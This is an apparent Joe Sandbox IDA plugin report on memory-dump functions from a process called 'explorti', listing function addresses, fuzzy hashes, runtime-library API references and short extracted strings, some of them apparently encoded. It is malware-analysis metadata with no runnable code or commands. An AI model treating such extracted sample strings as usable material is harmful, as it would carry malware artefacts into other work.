Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c9123e3cfaf21f89eb8871e40ad2a150ecec41099368c1c0dd0eec59684e82
Instruction ID: 6f632e9779bc6d5f1862507e8c6cda5bead8c5badb6745263e36516f49bbee6c
Opcode Fuzzy Hash: 71c9123e3cfaf21f89eb8871e40ad2a150ecec41099368c1c0dd0eec59684e82
Instruction Fuzzy Hash: DB11CA23F30C295B675C817D8C132BAA5D2EBD824030F533AD826EB384E994DE23D290

Function 00EE8720 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 54462c08cbc5e1026a6aa6c26a2d5b8fb6314102ee7f158f026fe02227b68886
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 25113B772001C947D604862FDBF45B7A796EAC532A73C6377C049EB758D9239544D500

Function 00ED645B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6764332c37057b6e792d280ef107b65bcd2a1176351076db9dfc211c27df6454
Instruction ID: 119fd53e6e705a07f4c53c71c760625fdf3097505333f0d41b030166f2830728
Opcode Fuzzy Hash: 6764332c37057b6e792d280ef107b65bcd2a1176351076db9dfc211c27df6454
Instruction Fuzzy Hash: B4E08C305426086ACE357B24D914E483B6AFB41348F08A426FC245A322CB36ED83CA91

Function 00EDA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: e86566863f798e2c57f2f5c01a75026e8df3d985ace6737a5fad37457de60eb8
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 78E04672912228EBCB15DB88C90498AF2ECEB48B00F1940A7B501E3240C270DF01C7D0

Function 00EB2E20 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

stoi argument out of range, xrefs: 00EB4269
invalid stoi argument, xrefs: 00EB425A
Dy==, xrefs: 00EB369E
UFy=, xrefs: 00EB33BA
FAml, xrefs: 00EB378F
6JLUcxtnEx==, xrefs: 00EB2EC7
246122658369, xrefs: 00EB33D4

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$6JLUcxtnEx==$Dy==$FAml$UFy=$invalid stoi argument$stoi argument out of range
API String ID: 0-3273830296
Opcode ID: 4f7b24faeb7fc9f7a8cbcf57339f4b582cd1d36f319befd024a19b2491166e90
Instruction ID: 2ae3913aa65513f8b393900c97b982f1b6a6cef1d60a0b68a6e410601b72601d
Opcode Fuzzy Hash: 4f7b24faeb7fc9f7a8cbcf57339f4b582cd1d36f319befd024a19b2491166e90
Instruction Fuzzy Hash: AC02C171A00248DFEF14EFA8C94ABDEBBF5EF05304F505159E805B7282D7759A44CBA2

Function 00ED4770 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00ED47A7
___except_validate_context_record.LIBVCRUNTIME ref: 00ED47AF
_ValidateLocalCookies.LIBCMT ref: 00ED4838
__IsNonwritableInCurrentImage.LIBCMT ref: 00ED4863
_ValidateLocalCookies.LIBCMT ref: 00ED48B8

Strings

csm, xrefs: 00ED484D

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e167894764d14e86eb0256cd56b66782cd106144059b9b63a27c80a0f6a4d2e3
Instruction ID: 1f774105a4dd82191c40231d08907141e8820ad7954224b75cf61f05b14e8385
Opcode Fuzzy Hash: e167894764d14e86eb0256cd56b66782cd106144059b9b63a27c80a0f6a4d2e3
Instruction Fuzzy Hash: 3151E5B5A002889FCF14DF68C884AAE7BA5EF55358F149057F808BB392D731DA06DB90

Function 00ED70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00ED710B

Strings

.exe, xrefs: 00ED7118
.com, xrefs: 00ED714B
.bat, xrefs: 00ED713A
.cmd, xrefs: 00ED7129

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 5d27c843f44368654a9fed66ede739180b3ebc3cf480072bbad78c21aa86e8bd
Instruction ID: 564cd4bb2adfa9bb9373b14c0e9dd0213e9ffe2a5e3b2a7567ab8b3f2de05956
Opcode Fuzzy Hash: 5d27c843f44368654a9fed66ede739180b3ebc3cf480072bbad78c21aa86e8bd
Instruction Fuzzy Hash: 0C01263761971622261925199C0263F17E8DB82FB872A212FFB84F73C2FF44EC0381A0

Function 00EA2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EA2F1F
__Mtx_unlock.LIBCPMT ref: 00EA2F8C
__Cnd_broadcast.LIBCPMT ref: 00EA2FA3
__Mtx_unlock.LIBCPMT ref: 00EA30B5
__Mtx_unlock.LIBCPMT ref: 00EA315B

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 116e943d6d9cd9009b7fb2d0ac1b37ede65e9ba12af49c7481ae21704e45ce7f
Instruction ID: 7b474e01776270a18811bedeb7238f95e46ac1165333c35b33c4568aa723f089
Opcode Fuzzy Hash: 116e943d6d9cd9009b7fb2d0ac1b37ede65e9ba12af49c7481ae21704e45ce7f
Instruction Fuzzy Hash: 91A1D170A062059FDB21DB78C944B9BB7F8BF1A318F105169E915FB241EB31EA04CB91

Function 00EA2670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EA2806
___std_exception_destroy.LIBVCRUNTIME ref: 00EA28A0

Strings

P#, xrefs: 00EA2811
P#, xrefs: 00EA27BE, 00EA2899

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#$P#
API String ID: 2970364248-2117210794
Opcode ID: 31c6a918df13064a15147c79a049f368cfc809de6d727054f5214bd3c2d9b9ca
Instruction ID: 7d08b2d66865353186ec973f0ce5d5093a01b9e5e0c24665c46ed8caf992aa5c
Opcode Fuzzy Hash: 31c6a918df13064a15147c79a049f368cfc809de6d727054f5214bd3c2d9b9ca
Instruction Fuzzy Hash: 4C716F71A002489BDB04CFA8C881AEEFBF5EF59314F14511EE905BB385E774A944CBA5

Function 00EB7870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EB795C
__Cnd_destroy_in_situ.LIBCPMT ref: 00EB7968
__Mtx_destroy_in_situ.LIBCPMT ref: 00EB7971

Strings

@y, xrefs: 00EB794A

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: @y
API String ID: 4078500453-4241861273
Opcode ID: 84b1548b7eb5c4d4bd26849399f7811b76cbde39928ce48c0bacd57ba291bc83
Instruction ID: 4464c4556a25844090ccdc31e9ef4e72bb7bdc63616a395b21955406fd78fb43
Opcode Fuzzy Hash: 84b1548b7eb5c4d4bd26849399f7811b76cbde39928ce48c0bacd57ba291bc83
Instruction Fuzzy Hash: D73108B29047049FD720DF68D845AABB7E8EF94310F101A3EE585E7641E771EA44C7A1

Function 00EA2AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00EA2B23

Strings

This function cannot be called on a default constructed task, xrefs: 00EA2B03
P#, xrefs: 00EA2B18
P#, xrefs: 00EA2B2E

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#$P#$This function cannot be called on a default constructed task
API String ID: 2659868963-730510960
Opcode ID: ee7684cd920ceb18f8229129c2f6f278994e70049c48f899caf754c579f1851c
Instruction ID: 90aa1da55822db691872f96f0df3cfa9ce5b4dece2b436afb1b2c1854d7dbe2a
Opcode Fuzzy Hash: ee7684cd920ceb18f8229129c2f6f278994e70049c48f899caf754c579f1851c
Instruction Fuzzy Hash: 96F06270A1130C9BC710DF68A8419AAB7E99F55304F5051AEF908B7601EBB1AA548B95

Function 00EDC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EDCA37

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2535597471.0000000000F02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537437171.0000000000F09000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000000F0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001083000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001163000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.0000000001194000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.000000000119C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2537804877.00000000011AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2545963357.00000000011AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2549650273.0000000001342000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550170319.0000000001343000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2550620803.0000000001344000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000011.00000002.2551951816.0000000001345000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_ea0000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 132fc80ec5cb759c1a42240b805c38ffc4c60fc213e2184c76217da096e7eec6
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 15B124329102869FDB15CF28C8817AEBBE5EF55384F3491ABE949BB341D6348D43CB60

Function 00EBBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EBBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBB14
_xtime_get.LIBCPMT ref: 00EBBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 00EBBB43

Memory Dump Source

Source File: 00000011.00000002.2535597471.0000000000EA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000011.00000002.2535313861.0000000000EA0000.00000004.00000001.01000000.00000007.sdmpDownload File
